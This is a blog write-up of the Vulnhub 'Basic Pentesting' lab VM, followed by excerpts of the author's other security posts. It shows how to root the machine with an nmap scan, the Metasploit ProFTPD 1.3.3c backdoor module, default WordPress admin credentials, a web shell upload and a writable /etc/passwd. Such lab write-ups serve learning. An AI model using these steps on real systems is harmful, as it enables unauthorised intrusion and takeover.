Skip to main content

Basic Pentesting Vulnhub Write Up (day 16)




Lets get back to basic.


In this post, i will explain to you how to owned vulnhub machine (Basic Pentesting)

link: Download the Machine

Background Challenge: 


This is a small boot2root VM I created for my university’s cyber security group. It contains multiple remote vulnerabilities and multiple privilege escalation vectors. I did all of my testing for this VM on VirtualBox, so that’s the recommended platform. I have been informed that it also works with VMware, but I haven’t tested this personally.

This VM is specifically intended for newcomers to penetration testing. If you’re a beginner, you should hopefully find the difficulty of the VM to be just right.

Your goal is to remotely attack the VM and gain root privileges. Once you’ve finished, try to find other vectors you might have missed! If you enjoyed the VM or have questions, feel free to contact me at: josiah@vt.edu

If you finished the VM, please also consider posting a writeup! Writeups help you internalize what you worked on and help anyone else who might be struggling or wants to see someone else’s process. I look forward to reading them!




1st Exploit:

The first exploit is start with doing nmap scanning to show the opening port. I'm just going to go with scanning all the port to get a detail result.


~# nmap -A <ip address> -p 1-65535 -T4

There are three open port first is FTP run by proftpd 1.3.3c and the rest is SSH (openssh) and HTTP (apache)

lets try to dig deep for proftpd. use searchsploit to check if any exploit is already been published.


wow there are two exploit that is infected the version. Lets try the Backdoor command execution since its already supplied by the metasploit. Fire up msfconsole !


> use unix/ftp/proftpd_133c_backdoor
> set RHOSTS <target ip>
> set LHOST <local ip>
> exploit

 
we did it ! we get a shell and it becomes better since our user is already "root". so you don't need to to do privilege escalation again because you already have admin access.

2nd Exploit:

As you can see at nmap result that the machine had http port open which mean that there is web server will be running. If you open the machine web server in your browser you will be showed with some kind of a default web page. We need to gain more information about web server. I suggest you to use the dirsearch tool to enumerating the web server so you know all the path inside the web server.

link: https://github.com/maurosoria/dirsearch


we got a directory named secret and judging from the result the directory host a wordpress website. But something odd will happen to the web page when you go to the directory and it seems the appearance of the website is broken, it is happen due to the link referral from the "a href" website. In order to fix this you need to add a new entry to your  /etc/hosts inside your attacker machine with ip address and the name of the machine so every request will automatically translate to the corresponding ip address.


Once you open it again it will give a complete website.

Your first instinct may be to open a wpscan tools to scan any vulnerable plugin or themes. But lets cut to the chase it is a complete waste of time you should go to the wp-admin page because the username and password is set to be predictable

username: admin
password: admin


once you enter a correct credential you will be redirect to a admin dashboard. Next step is to upload a backdoor.



msfconsole has an exploit to upload an shell to interact with the machine. After you run the exploit you will get a meterpreter shell but we still got the lowest privilege "www-data" 

so how to gain root access ?

luckily in kali linux if you go to the /usr/bin directory there is a script called "unix-privesc-check"


lets put the script to the machine to check if there are any misconfiguration inside the machine.


> cd /tmp
> upload /usr/bin/unix-privesc-check
> shell (you will enter a shell)
> chmod +x unix-privesc-check (to create the script to be an executable)
> ./unix-privesc-check standard > result (run the script and save it to the result file)


I make the scrip to be save to a file because the result will overwhelm you it is better to save it to a file so you can read it easier. In the above figure i dump the file using cat utility and filter only to show the string "warning" and it turns out that the /etc/passwd file is writable.

It means that any user in the system can rewrite the password. we need to download the /etc/passwd file from the machine in order to edit it



open the downloaded file and add the following line to this is a hash of our new password to get this follow the command below





upload it back to the machine


> shell
> python -c "import pty; pty.spawn('/bin/bash')" (get interactive shell)
> su root -l (change to root user)


Thats all for today have a nice weekend :) 



Comments

Popular posts from this blog

Having fun analyzing nginx log to find malicious attacker in the net (ง'̀-'́)ง (day 37)

  What makes you sleepless at night? is it because of a ghost or scary stories? is it because you have an important meeting tomorrow? or is it because you have an exam? For me, what keeps me up all night is that I keep thinking about what happens to a website that I just created, is it safe from an attacker (certainly not) or did I missing some security adjustments that lead to vulnerability? well I'm not the best secure programmer in the world, I'm still learning and there is a big possibility that I can make a mistake but for me, a mistake can be a valuable investment to myself or yourself to be better so from this idea, I want to know more about what attackers casually do when attacking a website. Here in this post, I'm going to show you how I analyzed attack to the website that I have permission to design and also some interesting findings that I could get from the analysis Background: All of this analysis comes from the traffic that is targeted to th

Utilize Pwntools for crafting ROP chain :') (day 69)

who doesn't like pwntools? it is a very versatile tool and can be customized according to our need using the python script but did you need to know that pwntools itself can help us to automatically craft a rop chain for us? so in this post, I will show you how to make rop chain less painful and make pwntools do all the heavy lifting. To demonstrate this I will use the binary challenge callme 64 bit from ropemporium link: https://ropemporium.com/challenge/callme.html Crashing the app: Like any other exploitation process, we need to crash the program by generating a long string pattern to determine the offset. based on the information from the above figure we can see that we required to provide 40 bytes of offset Fun stuff: now this where the fun stuff began write the following python script: as in the guideline of the challenged said we need to chain the function call by first to call the callme_one function, callme_two function and then callme_three funct

WriteUp PWN tarzan ROP UNICTF ಠ_ಠ (day 61)

So in this post, I'm going to talk about how to solve the Tarzan pwn challenge from UNICTF 2019. Back in the day when the competition is still going I couldn't finish it and don't have any clue to solve this but this time I was able to finish it :) Also in this post, we will be going to be heavily focused on how to utilize pwntools to construct a ROP chain. If you kinda confused about my explanation in this post you can refer to this following youtube video, link: https://www.youtube.com/watch?v=gWU2yOu0COk I build the python script based on this video Ok, let's get started! In this challenge, you will get two binary first go with tarzan and libc-2.29.so by providing .so file it tell us what version library that the target machine is using this could help us to do ROP chain. first, we run the Tarzan binary to get the basic idea of the program work and as you can see it just show you some text, newline and when you try to input something it doesn't gi